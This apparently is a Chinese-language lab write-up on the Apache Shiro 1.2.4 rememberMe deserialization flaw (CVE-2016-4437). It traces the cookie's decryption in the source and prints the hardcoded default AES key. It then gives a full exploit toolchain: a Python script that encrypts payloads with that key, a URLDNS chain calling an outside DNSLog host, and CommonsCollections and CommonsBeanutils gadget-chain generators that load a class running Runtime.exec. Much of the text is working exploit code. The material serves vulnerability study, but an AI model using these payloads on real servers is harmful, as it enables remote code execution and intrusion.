Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

漏洞概述

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

Shiro1.2.4:https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

编辑 shiro/web 目录下的 pom.xml,将 jstl 的版本修改为1.2

1
2
3
4
5
6
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>

IDEA导入 mvn 项目,配置 tomcat 环境

image-20231205101411888

漏洞分析

根据漏洞描述,Shiro≤1.2.4 版本默认使用 CookieRememberMeManager,当获取用户请求时,大致的关键处理过程如下:

  • 获取Cookie中rememberMe的值
  • 对rememberMe进行Base64解码
  • 使用AES进行解密
  • 对解密的值进行反序列化

由于AES加密的Key是硬编码的默认Key,因此攻击者可通过使用默认的Key对恶意构造的序列化数据进行加密,当 CookieRememberMeManager 对恶意的 rememberMe 进行以上过程处理时,最终会对恶意数据进行反序列化,从而导致反序列化漏洞

抓包分析

勾选 Remember Me

image-20231205101643436

服务器会返回一个 rememberMe Cookie

image-20231214125301319

之后的请求也会带上这个Cookie

image-20231214125953937

源码分析

查找 Cookie 相关操作类

CookieRememberMeManager 类里有序列化和get序列化的方法

image-20231205103248426

getRememberedSerializedIdentity() 查找调用

image-20231205110514011

convertBytesToPrincipals() 执行解密和反序列化

image-20231213205617059

deserialize() [DefaultSerializer类中]

image-20231213210057241

解密分析

decrypt()

image-20231213210500464

接口

image-20231213210819166

找到 decryptionCipherKey 赋值的地方

image-20231213212312047

image-20231213212048131

image-20231213212151238

image-20231213211930638

常量 decryptionCipherKey

image-20231213211927110

加密分析

convertPrincipalsToBytes()

image-20231214131441153

encrypt()

image-20231214131444662

可以知道加密算法为 AES的CBC模式

image-20231214131500022

加解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import base64
import uuid
from Crypto.Cipher import AES


def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data


def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext


def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = bytes.decode(plaintext)
plaintext = unpad(plaintext)
return plaintext


if __name__ == '__main__':
data = get_file_data("ser.bin")
print(aes_enc(data))

漏洞复现

DNSLog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// URLDNS
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception {
URL url = new URL("http://gvjpeqqpqk.dgrh3.cn");
HashMap hashMap = new HashMap();
// put前,反射把hashCode的值修改(不为-1)
Class cls = url.getClass();
Field hashCode = cls.getDeclaredField("hashCode");
hashCode.setAccessible(true);

hashCode.set(url, 999);
// put后,hashCode会改变
hashMap.put(url, 1);
// put后改回-1
hashCode.set(url, -1);

serialize(hashMap);
}
// 序列化输出
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
}

将构造好的 DNSLog 序列化文件加密,去除 JSESSIONID,伪造 rememberMe

image-20231214125009534

image-20231214125101154

ShiroCC

Shiro无CC,需要手动添加CC依赖

image-20231214160433041

ShiroCC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package vul.Shiro550;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

import java.util.HashMap;
import java.util.Map;

public class ShiroCC {
public static void main(String[] args) throws Exception {
// CC3
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field byteCodesField = tc.getDeclaredField("_bytecodes");
byteCodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\Compiler\\Idea\\Java_Sec\\target\\classes\\Gadget\\CC3\\Test.class"));
byte[][] codes = {code};
byteCodesField.set(templates,codes);

// CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);

// CC6
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,templates);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
lazyMap.remove(templates);
Class c = LazyMap.class;
Field factoryFied = c.getDeclaredField("factory");
factoryFied.setAccessible(true);
factoryFied.set(lazyMap,invokerTransformer);

serialize(hashMap);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
}

Test 构建class文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package Gadget.CC3;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

加密后发包

image-20231214160356965

ShiroCB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package vul.Shiro550;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;


import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class ShiroCB {
public static void main(String[] args) throws Exception{
// CC3
TemplatesImpl templatesimpl=new TemplatesImpl();
Class c=templatesimpl.getClass();
Field _nameField=c.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templatesimpl,"aaa");
Field _byteCodesField=c.getDeclaredField("_bytecodes");
_byteCodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("E:\\Compiler\\Idea\\JavaSec\\target\\classes\\Gadget\\CC3\\Test.class"));
byte[][] codes= {code};
_byteCodesField.set(templatesimpl,codes);

// CB
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());

// CC2
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templatesimpl);
priorityQueue.add(templatesimpl);
Class clazz=PriorityQueue.class;
Field comparatorField = clazz.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,beanComparator);

serialize(priorityQueue);
}
//序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
}

加密后发包

image-20231214200233481

⬆︎TOP